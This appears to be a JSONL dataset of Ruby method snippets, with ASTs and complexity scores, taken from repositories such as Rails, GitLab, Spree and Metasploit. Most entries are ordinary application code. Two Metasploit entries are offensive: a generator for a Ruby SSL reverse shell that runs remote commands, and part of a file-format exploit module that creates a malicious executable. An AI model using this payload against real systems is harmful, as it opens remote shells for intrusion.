{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/account/addresses_controller.rb","start_line":41,"raw_source":"def scope\n              super.where(user: spree_current_user, country: available_countries).not_deleted\n            end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"spree_current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"country\"]},{\"type\":\"send\",\"children\":[null,\"available_countries\"]}]}]}]},\"not_deleted\"]}]}","id":"9d2e20a1-8513-4ed8-8cdd-38eb1f6e21b3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":413,"raw_source":"def select(*fields)\n      if block_given?\n        if fields.any?\n          raise ArgumentError, \"`select' with block doesn't take arguments.\"\n        end\n\n        return super()\n      end\n\n      check_if_method_has_arguments!(__callee__, fields, \"Call `select' with at least one field.\")\n\n      fields = process_select_args(fields)\n      spawn._select!(*fields)\n    end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"select\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"fields\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"`select' with block doesn't take arguments.\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"super\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"check_if_method_has_arguments!\",{\"type\":\"send\",\"children\":[null,\"__callee__\"]},{\"type\":\"lvar\",\"children\":[\"fields\"]},{\"type\":\"str\",\"children\":[\"Call `select' with at least one field.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[null,\"process_select_args\",{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spawn\"]},\"_select!\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]}]}]}","id":"41394e1f-1c76-460b-aaf8-dc94f574207b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/phone_info_service.rb","start_line":2,"raw_source":"def initialize(waba_id, phone_number_id, access_token)\n    @waba_id = waba_id\n    @phone_number_id = phone_number_id\n    @access_token = access_token\n    @api_client = Whatsapp::FacebookApiClient.new(access_token)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"waba_id\"]},{\"type\":\"arg\",\"children\":[\"phone_number_id\"]},{\"type\":\"arg\",\"children\":[\"access_token\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@waba_id\",{\"type\":\"lvar\",\"children\":[\"waba_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@phone_number_id\",{\"type\":\"lvar\",\"children\":[\"phone_number_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@access_token\",{\"type\":\"lvar\",\"children\":[\"access_token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@api_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Whatsapp\"]},\"FacebookApiClient\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"access_token\"]}]}]}]}]}","id":"e69a3817-2dd9-40f2-946c-4dad33e2e906"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20201006021020_add_requested_by_to_email_change_request.rb","start_line":4,"raw_source":"def up\n    add_column :email_change_requests, :requested_by_user_id, :integer, null: true\n\n    DB.exec(\n      \"CREATE INDEX IF NOT EXISTS idx_email_change_requests_on_requested_by ON email_change_requests(requested_by_user_id)\",\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"email_change_requests\"]},{\"type\":\"sym\",\"children\":[\"requested_by_user_id\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"str\",\"children\":[\"CREATE INDEX IF NOT EXISTS idx_email_change_requests_on_requested_by ON email_change_requests(requested_by_user_id)\"]}]}]}]}","id":"e05c0108-31c5-423a-9155-dd661ab5a450"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/viewer_hunk.rb","start_line":104,"raw_source":"def initialize(line, previous_line_pos, next_line_pos)\n        @line = line\n        @previous_line_pos = previous_line_pos\n        @next_line_pos = next_line_pos\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]},{\"type\":\"arg\",\"children\":[\"previous_line_pos\"]},{\"type\":\"arg\",\"children\":[\"next_line_pos\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@line\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@previous_line_pos\",{\"type\":\"lvar\",\"children\":[\"previous_line_pos\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@next_line_pos\",{\"type\":\"lvar\",\"children\":[\"next_line_pos\"]}]}]}]}","id":"a8b2bf06-7551-4987-a953-df63574c57ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/issuable/common.rb","start_line":34,"raw_source":"def has_author?(author_username)\n            within_element('issue-author') do\n              has_text?(author_username)\n            end\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"has_author?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"author_username\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"issue-author\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"lvar\",\"children\":[\"author_username\"]}]}]}]}","id":"9712377e-dc1a-412a-95e4-e7fe03652207"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/serialized_attribute_test.rb","start_line":659,"raw_source":"def test_serialized_attribute_on_alias_attribute\n    klass = Class.new(ActiveRecord::Base) do\n      self.table_name = Topic.table_name\n      alias_attribute :object, :content\n      serialize :object, type: Hash\n    end\n\n    myobj = { \"somevalue\" => \"thevalue\" }\n    topic = klass.create!(object: myobj)\n    assert_equal(myobj, topic.object)\n\n    topic.reload\n    assert_equal(myobj, topic.object)\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_serialized_attribute_on_alias_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"table_name\"]}]},{\"type\":\"send\",\"children\":[null,\"alias_attribute\",{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"sym\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"serialize\",{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"myobj\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"somevalue\"]},{\"type\":\"str\",\"children\":[\"thevalue\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"myobj\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"myobj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"object\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"myobj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"object\"]}]}]}]}","id":"5acd9a5e-b39e-474a-9f9e-0712ee47d19c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/belongs_to_associations_test.rb","start_line":321,"raw_source":"def test_eager_loading_with_primary_key\n    Firm.create(\"name\" => \"Apple\")\n    Client.create(\"name\" => \"Citibank\", :firm_name => \"Apple\")\n    citibank_result = Client.all.merge!(where: { name: \"Citibank\" }, includes: :firm_with_primary_key).first\n    assert_predicate citibank_result.association(:firm_with_primary_key), :loaded?\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_loading_with_primary_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Firm\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Apple\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Citibank\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"firm_name\"]},{\"type\":\"str\",\"children\":[\"Apple\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"citibank_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Client\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Citibank\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"firm_with_primary_key\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"citibank_result\"]},\"association\",{\"type\":\"sym\",\"children\":[\"firm_with_primary_key\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]}]}]}","id":"9399c449-65c1-4899-895f-0f25673f3ec1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/renderer/abstract_renderer.rb","start_line":76,"raw_source":"def partial_path(object, view)\n          object = object.to_model if object.respond_to?(:to_model)\n\n          path = if object.respond_to?(:to_partial_path)\n            object.to_partial_path\n          else\n            raise ArgumentError.new(\"'#{object.inspect}' is not an ActiveModel-compatible object. It must implement #to_partial_path.\")\n          end\n\n          if view.prefix_partial_path_with_controller_namespace\n            PREFIXED_PARTIAL_NAMES[@context_prefix][path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)\n          else\n            path\n          end\n        end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"partial_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"view\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_model\"]}]},{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_model\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_partial_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_partial_path\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"' is not an ActiveModel-compatible object. It must implement #to_partial_path.\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view\"]},\"prefix_partial_path_with_controller_namespace\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PREFIXED_PARTIAL_NAMES\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@context_prefix\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"merge_prefix_into_object_path\",{\"type\":\"ivar\",\"children\":[\"@context_prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"dup\"]}]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"4ebc2e30-fd07-445d-9180-53f0287a6c17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/note.rb","start_line":358,"raw_source":"def for_work_item?\n    noteable.is_a?(WorkItem)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"for_work_item?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"WorkItem\"]}]}]}","id":"3b910da5-2002-43b2-8c92-d97ec19885ff"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/admin/broadcast_messages_helper.rb","start_line":16,"raw_source":"def current_broadcast_notification_message\n      not_hidden_messages = System::BroadcastMessage.current_notification_messages(\n        current_path: request.path,\n        user_access_level: current_user_access_level_for_project_or_group\n      ).select do |message|\n        cookies[\"hide_broadcast_message_#{message.id}\"].blank?\n      end\n      not_hidden_messages.last\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"current_broadcast_notification_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"not_hidden_messages\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"System\"]},\"BroadcastMessage\"]},\"current_notification_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_access_level\"]},{\"type\":\"send\",\"children\":[null,\"current_user_access_level_for_project_or_group\"]}]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"hide_broadcast_message_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"id\"]}]}]}]},\"blank?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"not_hidden_messages\"]},\"last\"]}]}]}","id":"a2ff1229-9721-4bbe-bf47-cacc30c8405c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/hooks_helper.rb","start_line":4,"raw_source":"def webhook_form_data(hook)\n    {\n      name: hook.name,\n      description: hook.description,\n      secret_token: hook.masked_token, # always use masked_token to avoid exposing secret_token to frontend\n      url: hook.url,\n      url_variables: Gitlab::Json.dump(hook.url_variables.keys.map { { key: _1 } }),\n      custom_headers: Gitlab::Json.dump(hook.custom_headers.keys.map { { key: _1, value: WebHook::SECRET_MASK } })\n    }\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"webhook_form_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secret_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"masked_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url_variables\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"url_variables\"]},\"keys\"]},\"map\"]},1,{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook\"]},\"custom_headers\"]},\"keys\"]},\"map\"]},1,{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"_1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHook\"]},\"SECRET_MASK\"]}]}]}]}]}]}]}]}","id":"fc52d236-21ed-4198-a1bb-147c6f3f4aa8"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/models/labor_budget_items/scopes/visible.rb","start_line":38,"raw_source":"def visible(user)\n        view_scope = includes(:budget)\n                       .where(budget: { project_id: Project.allowed_to(user, :view_hourly_rates).select(:id) })\n\n        view_own_scope = includes(:budget)\n                           .where(budget: { project_id: Project.allowed_to(user, :view_own_hourly_rate).select(:id) })\n                           .where(user_id: user.id)\n\n        view_scope\n          .or(view_own_scope)\n      end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visible\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"view_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"includes\",{\"type\":\"sym\",\"children\":[\"budget\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"budget\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"view_hourly_rates\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"view_own_scope\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"includes\",{\"type\":\"sym\",\"children\":[\"budget\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"budget\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"view_own_hourly_rate\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"view_scope\"]},\"or\",{\"type\":\"lvar\",\"children\":[\"view_own_scope\"]}]}]}]}","id":"34e8ecea-6ac6-4e1e-9449-8a710e9d4804"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb","start_line":37,"raw_source":"def ruby_string\n    lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? \"[#{datastore['LHOST']}]\" : datastore['LHOST']\n    rbs = \"require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\\\"#{lhost}\\\",\"\n    rbs << \"\\\"#{datastore['LPORT']}\\\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\\\"r\\\"){|io|c.print io.read}end\"\n    return rbs\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ruby_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lhost\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"is_ipv6?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rbs\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lhost\"]}]},{\"type\":\"str\",\"children\":[\"\\\",\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rbs\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\\\"r\\\"){|io|c.print io.read}end\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rbs\"]}]}]}]}","id":"1480c639-30d1-4dac-b9a7-fed141a911cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/container_registry/protection/check_rule_existence_service.rb","start_line":25,"raw_source":"def execute\n        return ERROR_RESPONSE_UNAUTHORIZED unless current_user_can_do_action?\n\n        return service_response_for(check_rule_exists_for_user) if current_user.is_a?(User)\n        return service_response_for(check_rule_exists_for_deploy_token) if current_user.is_a?(DeployToken)\n\n        raise ArgumentError, 'Invalid user'\n      end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user_can_do_action?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERROR_RESPONSE_UNAUTHORIZED\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_for\",{\"type\":\"send\",\"children\":[null,\"check_rule_exists_for_user\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"DeployToken\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_for\",{\"type\":\"send\",\"children\":[null,\"check_rule_exists_for_deploy_token\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Invalid user\"]}]}]}]}","id":"890ed6f4-5f34-4aaa-86ee-2f120f212086"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb","start_line":66,"raw_source":"def primer\n    self.file_contents = generate_payload_exe\n    print_status(\"Malicious executable at #{unc}...\")\n\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n    mcl = generate_mcl\n    file_create(mcl)\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"primer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"file_contents=\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Malicious executable at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unc\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating 